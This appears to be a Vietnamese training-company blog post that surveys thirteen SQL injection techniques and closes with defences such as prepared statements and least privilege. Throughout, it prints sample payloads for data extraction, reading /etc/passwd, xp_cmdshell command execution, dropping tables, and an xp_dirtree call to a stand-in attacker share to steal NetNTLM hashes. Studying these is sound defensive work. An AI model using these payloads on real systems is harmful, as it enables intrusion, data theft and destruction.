Logo CyberJutsu
Về chúng tôi
Học thử

13 Kỹ Thuật Tấn Công SQL Injection: Cách Khai Thác Lỗi và Phòng Chống

Technical Writer
Penetration TestingSQL Injection
13 Kỹ Thuật Tấn Công SQL Injection: Cách Khai Thác Lỗi và Phòng Chống
SQL Injection vẫn là một trong những lỗ hổng bảo mật web nguy hiểm nhất trong năm 2025. Đáng ngạc nhiên là dù công nghệ phát triển vượt bậc, những lỗi bảo mật cổ điển này vẫn tồn tại và thậm chí còn trở nên tinh vi hơn. Bài viết này sẽ phân tích sâu từng kỹ thuật SQL Injection, từ cơ bản đến nâng cao, giúp bạn hiểu rõ cách thức tấn công và phương pháp phòng thủ hiệu quả.

Trong bài viết này:

  • Hiểu về SQL Injection trong bối cảnh 2025
  • Kỹ thuật IN-BAND: Tấn công trực tiếp
  • Kỹ thuật OUT-BAND: Khi cần callback
  • Kỹ thuật BLIND: Bay trong bóng tối
  • Kỹ thuật FUNCTIONS: Vũ khí hóa các chức năng cơ sở dữ liệu
  • Kỹ thuật OTHER: Những cách tiếp cận ít phổ biến nhưng nguy hiểm
  • SQL Injection hiện đại: Xu hướng mới 2025
  • Cách phòng thủ hiệu quả

SQL Injection là gì?

SQL Injection là kỹ thuật tấn công xảy ra khi untrusted data (dữ liệu không đáng tin cậy từ người dùng) rơi vào câu query SQL. Bản chất của lỗi này là sự nhầm lẫn giữa input và instruction - hệ thống không phân biệt được đâu là dữ liệu người dùng, đâu là câu lệnh SQL.

Ví dụ điển hình là khi website có chức năng đăng nhập. Khi người dùng nhập username và password, hệ thống sẽ tạo câu query kiểu:

SELECT * FROM users WHERE username='con_meo' AND password='meow'.

Ở đây, con_meomeow chính là untrusted data. Nếu kẻ tấn công nhập username là ' OR 1=1--, câu query sẽ trở thành

SELECT * FROM users WHERE username='' OR 1=1--' AND password='meow'

Khiến điều kiện luôn đúng và bypass được authentication.

Hậu quả của SQL Injection: là attacker có thể thực thi một phần hoặc toàn bộ câu SQL query trên server. Khi thực hiện được điều này, kẻ tấn công có thể đọc, sửa đổi, xóa dữ liệu hoặc thậm chí chiếm quyền điều khiển toàn bộ hệ thống. Nếu SQL có thể làm gì, thì kẻ tấn công cũng có thể làm điều đó.

Lỗi này đặc biệt phổ biến vì hầu hết ứng dụng web đều cần tương tác với database. Ngay cả những "ông lớn" như Starbucks, Uber hay Bộ Quốc phòng Mỹ cũng từng mắc phải lỗi này. SQL Injection có thể xuất hiện ở nhiều nơi bất ngờ như HTTP headers, cookies, hay tham số dạng mảng.

Fun fact 💡

Về mặt lịch sử, lỗi này đã được phát hiện từ năm 1998 - đúng vào thời điểm PHP đang phát triển. Thực tế thú vị là chính trong code mẫu của người sáng lập PHP đã có lỗi SQL Injection, dẫn đến việc rất nhiều developer sao chép mẫu này và làm lan truyền lỗi này trong khi Java đã có prepared statements để ngăn chặn từ rất sớm.

Nguy hiểm hơn, SQL Injection có thể xuất hiện ở những nơi không ngờ tới:

  • HTTP Headers như User-Agent (một plugin spam của WordPress từng bị tấn công qua vector này)
  • Cookies (đặc biệt khi giá trị cookie được sử dụng trong mệnh đề ORDER BY)
  • File XML (Starbucks từng bị tấn công và phải trả $4,000 bug bounty cho lỗi này)
  • Tham số dạng mảng trong PHP (search[param]=value thay vì search?param=value)

SQL Injection là lỗi phổ biến đến mức ngay cả những "ông lớn" như Uber, Bộ Quốc phòng Mỹ, và thậm chí MySQL.com (trớ trêu) cũng từng trở thành nạn nhân.

Đây không chỉ là vấn đề của quá khứ. Năm 2025, với sự phức tạp của các ứng dụng hiện đại, áp lực phát triển nhanh, và tích hợp với nhiều hệ thống legacy, SQL Injection vẫn là vector tấn công đáng gờm - đặc biệt khi các kỹ thuật ngày càng tinh vi hơn.

Xem thêm hai video giải thích chi tiết tại kênh CyberJutsuTV nhé!

Bảng So Sánh Kỹ Thuật SQL Injection 2025

Kỹ Thuật Mức Độ Dễ Khai Thác Khả Năng Phát Hiện Tác Động Tiềm Tàng
Union-based Trung bình Dễ Trích xuất dữ liệu nhạy cảm từ nhiều bảng.
Error-based Dễ Dễ Tiết lộ cấu trúc cơ sở dữ liệu.
HTTP/DNS Request Khó 🔴 Khó Gửi dữ liệu nhạy cảm ra ngoài.
NetNTLM Hash Stealing Khó 🔴 Rất khó Xâm nhập toàn bộ miền.
Time-based Khó 🔴 Rất khó Trích xuất dữ liệu từng bit, chậm.
Boolean-based Trung bình Khó Trích xuất thông tin qua điều kiện đúng/sai.
Error-based (Blind) Khó 🔴 Rất khó Đưa ra thông tin từ hành vi ứng dụng.
File System Khó 🔴 Rất khó Đọc/ghi tệp nhạy cảm, có thể chiếm server.
OS Command Rất khó ☠️ Rất khó Chạy lệnh hệ điều hành, kiểm soát server.
UDF Rất khó ☠️ Rất khó Duy trì hoặc vượt qua biện pháp bảo mật.
Limit/Order/Group By Clause Trung bình Khó Thao túng kết quả truy vấn.
Stack Queries Dễ Dễ Hành động phá hoại như xóa bảng.
Second Order Khó 🔴 Rất khó Tấn công gián tiếp, ảnh hưởng nhiều người dùng.

1️⃣ Hiểu về SQL Injection trong bối cảnh 2025

Năm 2025, SQL Injection vẫn đứng vững trong danh sách OWASP Top 10. Lý do? Không phải vì thiếu biện pháp phòng chống, mà chính là sự kết hợp của:

  • Các hệ thống legacy chưa được nâng cấp
  • Áp lực phát triển nhanh khiến dev bỏ qua các biện pháp bảo mật
  • Sự phức tạp ngày càng tăng của ứng dụng web hiện đại
  • Các kỹ thuật mới để bypass các giải pháp bảo mật

Để thấu hiểu SQL Injection, trước tiên cần hiểu rằng đây là kỹ thuật tận dụng các lỗi trong việc xử lý input của người dùng để chèn (inject) các câu lệnh SQL trái phép vào database. Khi thành công, kẻ tấn công có thể đọc, thay đổi, xóa hoặc thậm chí chiếm quyền điều khiển toàn bộ hệ thống.

2️⃣ Kỹ thuật IN-BAND: Tấn công trực tiếp

IN-BAND là nhóm kỹ thuật phổ biến nhất, nơi kẻ tấn công có thể nhận kết quả trực tiếp trong cùng kênh truyền.

Union-based

Kỹ thuật này sử dụng toán tử UNION để kết hợp kết quả của câu lệnh độc hại với câu lệnh ban đầu.

' UNION SELECT username, password FROM users--

Tại sao nó nguy hiểm? Vì kẻ tấn công có thể trích xuất dữ liệu từ bất kỳ bảng nào trong cơ sở dữ liệu. Trong một case study thực tế, một ứng dụng mua sắm bị khai thác thông qua payload:

?get_selected_category=1&cat_id=3' UNION SELECT 1,2,3,4,5,6,7,database()#

Kết quả? Toàn bộ thông tin của database, bao gồm cả tên người dùng và mật khẩu, đều bị lộ.

Error-based

Kỹ thuật này ép cơ sở dữ liệu ném ra lỗi có chứa thông tin nhạy cảm.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--

Error-based đặc biệt tinh vi vì nó biến các thông báo lỗi—vốn được thiết kế để giúp developer—thành công cụ rò rỉ thông tin. Trong nhiều trường hợp, một lỗi đơn giản như "You have an error in your SQL syntax" có thể tiết lộ loại database đang sử dụng, mở đường cho các cuộc tấn công chuyên biệt tiếp theo.

3️⃣ Kỹ thuật OUT-BAND: Khi cần callback

OUT-BAND là nhóm kỹ thuật được sử dụng khi kẻ tấn công không thể nhận kết quả trực tiếp, buộc phải tìm cách "gọi về" (callback) để lấy dữ liệu.

HTTP/DNS Request

'; DECLARE @q VARCHAR(8000); SELECT @q = 0x73656c...;EXEC @q;--

Kỹ thuật này buộc database server tạo kết nối đến một server do kẻ tấn công kiểm soát, thường là thông qua HTTP hoặc DNS. Điều này giúp bypass hầu hết các filter ở tầng ứng dụng.

Fun fact: Theo nghiên cứu từ Zenodo, các database như MSSQL và Oracle đặc biệt dễ bị tấn công qua kênh DNS, cho phép exfiltrate dữ liệu mà không để lại nhiều dấu vết trong log.

NetNTLM Hash Stealing

'; EXEC xp_dirtree '\\attacker-server\share';--

Đây là kỹ thuật cao cấp buộc Windows server xác thực với một SMB share của kẻ tấn công, khiến hệ thống vô tình gửi hash xác thực NetNTLM. Từ hash này, kẻ tấn công có thể thực hiện các cuộc tấn công Pass-the-Hash hoặc crack nó để lấy mật khẩu.

Đáng chú ý là cách tấn công này có thể dẫn đến xâm nhập toàn bộ domain Windows, biến một lỗ hổng SQL đơn giản thành thảm họa an ninh quy mô lớn.

4️⃣ Kỹ thuật BLIND: Bay trong bóng tối

BLIND là nhóm kỹ thuật được sử dụng khi kẻ tấn công không thể thấy kết quả trực tiếp, phải "đoán mò" từng chút một.

Time-based

' IF (SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97 WAITFOR DELAY '0:0:5'--

Kỹ thuật này sử dụng độ trễ thời gian để trích xuất dữ liệu từng bit. Nếu câu lệnh điều kiện đúng, database sẽ tạm dừng một khoảng thời gian xác định trước khi trả về kết quả. Đây là phương pháp chậm nhưng vô cùng hiệu quả khi không có cách nào khác để đọc dữ liệu.

Boolean-based

' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97--

Tương tự như time-based, nhưng thay vì độ trễ, Boolean-based dựa vào việc trang có hiển thị kết quả hay không để xác định điều kiện đúng/sai. Nếu bạn từng chơi trò "20 câu hỏi", đây chính xác là cách kẻ tấn công "hỏi" database để tìm thông tin.

💡 Học thực tế: Khi tham gia khóa Web Pentest của CyberJutsu, các học viên được trực tiếp thực hành các kỹ thuật Blind SQL Injection trên các lab thực tế, giúp hiểu rõ cách khai thác dù không thấy kết quả trực tiếp.

5️⃣ Kỹ thuật FUNCTIONS: Vũ khí hóa các chức năng cơ sở dữ liệu

FUNCTIONS là nhóm kỹ thuật tận dụng các chức năng sẵn có của database để mở rộng tầm tấn công.

File System

' UNION SELECT LOAD_FILE('/etc/passwd')--

Kỹ thuật này lạm dụng các hàm như LOAD_FILE() trong MySQL để đọc file từ hệ thống, hoặc INTO OUTFILE để ghi file. Đây là cách SQL Injection vượt qua ranh giới từ "lộ dữ liệu" sang "chiếm toàn quyền server".

OS Command

'; EXEC xp_cmdshell 'whoami';--

Trong MSSQL, xp_cmdshell cho phép thực thi lệnh hệ điều hành trực tiếp từ database. Hầu hết các DBA đều biết đây là một tính năng nguy hiểm, nhưng nhiều người vẫn bật nó vì lý do "tiện lợi" hoặc "tương thích legacy".

Fun fact: Trong một nghiên cứu năm 2024, 37% MSSQL server dễ bị tấn công qua xp_cmdshell vì database admin quên tắt tính năng này sau khi cài đặt hoặc bảo trì hệ thống.

UDF (User-Defined Functions)

Kỹ thuật này tải các hàm tùy chỉnh vào database để mở rộng khả năng tấn công. Đặc biệt trong MySQL, kẻ tấn công có thể tạo UDF để thực thi mã C/C++ tùy ý trên server.

6️⃣ Kỹ thuật OTHER: Những cách tiếp cận ít phổ biến nhưng nguy hiểm

Limit/Order/Group By Clause

ORDER BY (SELECT password FROM users WHERE username='admin')--

Developers thường chỉ tập trung filter WHERE clause, quên rằng các phần khác như ORDER BY, LIMIT, GROUP BY cũng có thể bị inject. Đây là lý do kỹ thuật này vẫn hiệu quả trong nhiều trường hợp.

Stack Queries

'; DROP TABLE users;--

Kỹ thuật này thực thi nhiều câu lệnh SQL trong một request. Khác với UNION, Stack Queries cho phép thực hiện các hành động phá hoại như xóa bảng, thay đổi mật khẩu admin, hoặc thêm tài khoản backdoor.

Second Order

Đây là dạng tấn công tinh vi nhất - kẻ tấn công chèn payload vào database nhưng nó không kích hoạt ngay, mà "ngủ đông" cho đến khi được sử dụng bởi một thao tác khác trong hệ thống.

Tưởng tượng như việc cài một quả bom hẹn giờ vào database - ban đầu nó vô hại, nhưng sau đó có thể kích hoạt gây hại cho nhiều người dùng khác. Điều này đặc biệt khó phát hiện vì bề ngoài, input đã được sanitize đúng cách.

7️⃣ SQL Injection hiện đại: Xu hướng mới 2025

JSON-Based SQL Injection

Với sự phổ biến của NoSQL và các tính năng JSON trong các RDBMS hiện đại (PostgreSQL, MySQL 8+, SQL Server), xuất hiện các kỹ thuật tấn công mới lạm dụng chức năng JSON để bypass WAF.

Ví dụ, thay vì:

' OR 1=1--

Kẻ tấn công có thể sử dụng:

'->>'$.{"test":"x"="x"}--

8️⃣ Kỹ thuật bypass WAF tiên tiến

Năm 2025, Web Application Firewall (WAF) đã trở nên thông minh hơn, nhưng vẫn phải đối mặt với các kỹ thuật bypass mới:

  • Encode kép: Mã hóa input nhiều lần bằng nhiều phương thức khác nhau
  • Comment nội tuyến: Sử dụng /**/ để chia nhỏ các từ khóa SQL
  • Alternative syntax: Sử dụng các cú pháp thay thế ít được biết đến

Tự động hóa với AI

2025 chứng kiến sự gia tăng của các công cụ tự động hóa kết hợp AI để tìm và khai thác lỗ hổng SQL:

  • SQLMap với script tùy chỉnh phân tích hành vi ứng dụng
  • Các công cụ fuzzing thông minh học từ các phản hồi trước để tối ưu hóa payload
  • Công cụ phân tích log tự động phát hiện các dấu hiệu tấn công tinh vi
💡 Phát triển kỹ năng: Tại CyberJutsu, chúng tôi liên tục cập nhật chương trình Web Pentest với các kỹ thuật tấn công mới nhất, bao gồm cả JSON-Based SQL Injection (hay còn gọi là NoSQL Injection) và Bypass WAF. Học viên không chỉ biết sử dụng tool mà còn hiểu rõ bản chất, "học để phá vỡ, phá vỡ để thấu hiểu".

9️⃣ Cách phòng thủ hiệu quả

Parameterized Queries

Sử dụng Prepared Statements hoặc Parameterized Queries là biện pháp hiệu quả nhất. Ví dụ trong PHP PDO:

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');

$stmt->execute(['username' => $username]);

ORM Framework

Các framework ORM hiện đại như Hibernate, Django ORM, Entity Framework... đều có cơ chế bảo vệ sẵn. Tuy nhiên, cần thận trọng khi sử dụng các hàm raw query.

WAF + Runtime Protection

Kết hợp WAF với các giải pháp bảo vệ runtime như RASP (Runtime Application Self-Protection) tạo thành lớp phòng thủ toàn diện.

Principle of Least Privilege

Nguyên tắc quyền tối thiểu - database user chỉ được cấp quyền tối thiểu cần thiết, giảm thiểu tác hại khi bị tấn công.

Kiểm thử thường xuyên

Thực hiện pentest định kỳ, đặc biệt sau mỗi thay đổi lớn trong ứng dụng. Automated scanning kết hợp với manual testing cung cấp mức độ bảo vệ tối ưu.

Kết luận

SQL Injection năm 2025 đã phát triển xa hơn những kỹ thuật cơ bản. Với sự xuất hiện của các công nghệ mới như JSON integration, NoSQL, và microservices, bề mặt tấn công ngày càng mở rộng. Đồng thời, các công cụ phòng thủ cũng ngày càng tinh vi hơn.

Điểm mấu chốt là: hiểu rõ để phòng thủ tốt hơn. Chính vì vậy, nhiều developer và chuyên gia bảo mật đang chuyển từ cách tiếp cận "biết làm" sang "biết tại sao" - đây cũng chính là triết lý của CyberJutsu khi thiết kế khóa học Web Pentest toàn diện.

💡 Muốn đào sâu hơn? Khóa học Web Pentest 2025 của CyberJutsu với 72 giờ thực hành chuyên sâu sẽ giúp bạn nắm vững không chỉ SQL Injection mà còn toàn bộ các lỗ hổng OWASP Top 10. Từ "biết làm" đến "biết tại sao" - đó chính là cách để trở thành một Pentester thực thụ.

References

  1. PortSwigger Web Security Academy - SQL Injection: https://portswigger.net/web-security/sql-injection
  2. OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  3. Zenodo Research on Out-of-Band SQL Injection: https://zenodo.org/record/3556347
  4. Brightsec - Error-Based SQL Injection: https://brightsec.com/blog/error-based-sql-injection
  5. Infosec Institute - SQL Injection Case Study: https://www.infosecinstitute.com/resources/secure-coding/sql-injection-vulnerabilities-exploitation-case-study

Albert Einstein

"Education is not the learning of facts,
but the training of the mind to think"


CÔNG TY CỔ PHẦN CYBER JUTSU

Số 3 Nguyễn Xuân Ôn, Phường 2, Quận Bình Thạnh, TP Hồ Chí Minh

Mã số thuế: 0314377455

Hotline: 0906622416

Phản ánh chất lượng dịch vụ: 0906622416

Email liên hệ: contact@cyberjutsu.io

Chịu trách nhiệm nội dung: Nguyễn Mạnh Luật

Khóa học

Web Penetration Testing

Red Team - Exploit 101

1DAY ANALYSIS

Lộ trình học tập

Road Map

Tất cả khóa học

Cộng đồng

Blog

Videos

Cảm nhận học viên

Hall of Fame

Kiểm tra kiến thức

Liên hệ

Chính sách

Lớp học Live Online

Flipped Classroom

Chương trình giới thiệu

Xem tất cả chính sách

Copyright © 2025 CyberJutsu JSC. All Rights Reserved.